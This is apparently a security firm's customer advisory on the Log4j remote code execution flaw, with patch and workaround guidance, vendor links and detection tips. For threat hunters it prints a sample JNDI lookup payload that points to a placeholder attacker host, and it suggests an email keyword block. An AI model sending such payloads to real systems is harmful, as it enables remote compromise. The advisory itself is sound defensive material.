Cybersecurity Team Vulnerability Alert
Software Affected: Log4j
Versions Affected: all versions from 2.0-beta9 through 2.12.1 and 2.13.0 to 2.15.0
Severity: CRITICAL
ANM’s Cybersecurity team has been following the Apache log4j vulnerability which has been publicly released. This document is designed to provide insight into the vulnerability as well as details from some of our common partners we work closely with. ANM’s Cybersecurity team, and our partners have seen active exploitation of this vulnerability in the wild. This vulnerability is easily exploited, making it a high priority for remediation within your infrastructure.
Apache has released a patch for this vulnerability and ANM’s recommendation is to patch where possible. If patching is not a possibility, there are mitigations that can be applied as described below.
- https://www.cisa.gov/news/2021/12/11/statement-cisa-director-easterly-log4j-vulnerability
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
- https://logging.apache.org/log4j/2.x/security.html
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046
If you are unable to update the library, we recommend you apply the following workarounds recommended by Apache if possible:
Log4j versions from 2.0-beta9 to 2.10.0:
Remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Log4J versions from 2.10 to 2.15.0:
Set the log4j2.formatMsgNoLookups system property or set the LOG4J_FORMAT_MSG_NO_LOOKUPS environment variable to true.
There is currently a lack of visibility into some vendor solutions which have implemented log4j but have not disclosed this publicly. This lack of visibility presents an issue for customers who may not be aware a solution is vulnerable due to the vendor solution implementing log4j without disclosing it publicly. As more vendors release updates or publicize their use of log4j, it’s important to immediately implement patches as they become available.
The following link details quite a bit of information compiled from multiple sources around the log4j vulnerability including a list of affected/unaffected vendors.
Vendor and Industry Intelligence
The following links from some of our top partners detail the vulnerability and include any relevant data around products which may be affected. Articles and links will be updated by respective vendors as new information is uncovered.
Cisco Systems
- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd
- https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html
Cisco released log4j2-patch for Cisco Identity Services Engine (ISE) and the same can be downloaded here: (Versions affected 2.4 to 3.0)
Fortinet
- https://www.fortiguard.com/outbreak-alert/log4j2-vulnerability?utm_source=blog&utm_campaign=blog
- https://www.fortinet.com/blog/psirt-blogs/apache-log4j-vulnerability
Palo Alto Networks
- https://security.paloaltonetworks.com/CVE-2021-44228
- https://www.paloaltonetworks.com/blog/security-operations/hunting-for-log4j-cve-20210-44228-log4shell-exploit-activity/
Sentinel One
Crowdstrike
Microsoft Security
ANM Additional Research
The ANM Cybersecurity team recommends using Syft or Grype to scan your internal Java projects for Linux/Mac systems to detect vulnerable log4j libraries or systems that may need updated.
- Grype can be found at: https://github.com/anchore/grype
- Syft can be found at: https://github.com/anchore/syft
Attackers have been observed injecting malicious payloads within LDAP(S), RMI, DNS, NIS, IIOP, CORBAL, NDS, and over HTTP(S). We recommend where possible, to block outbound ports such as LDAP(S) 389/tcp, RMI and others that are not being utilized external to the environment. The ANM Cybersecurity Team also recommends logging for any blocked rules related to log4j to understand if your environment has potentially been compromised or attempts at compromise are active.
ANM customers with active managed services contracts (Security Solutions) please reach out to managed services team or CSM for any help around any mitigation techniques available to the solutions being managed. Any other customers requiring assistance with incidents, or mitigation can reach out to their ANM Account Team.
If you have threat hunters within your organization, an example of attackers searching for vulnerable systems may appear in web request logs of systems as:
${jndi:ldap://[badguywebsitehere]/a}.
This string can be obfuscated by attackers attempting to bypass detection, and research teams have already observed attackers attempting to modify the string by using lower or upper commands within the string as well as more complex shell-based obfuscation attempts. The string generally contains the “jndi” parameter followed by a protocol such as ldap, ldaps, dns, or others. Please be advised, this string is not the only IOC available. The links shared earlier within the document contain much more detailed data updated as newer insights become available.
In talking to industry peers and fellow researchers we’ve observed recent threats via email as well and we recommend blocking emails with a Subject containing the keyword ‘ldap’ or a regex of entire string. (You can find an example of this within the Cisco Talos article linked earlier in the document).
We also recommend where possible the implementation of a WAF or managed WAF solution for public facing services and/or applications.
ANM’s Cybersecurity team is actively supporting and working with customers around this issue and others. If you require assistance, please reach out to your Account Team, or the Managed Services Team/CSM.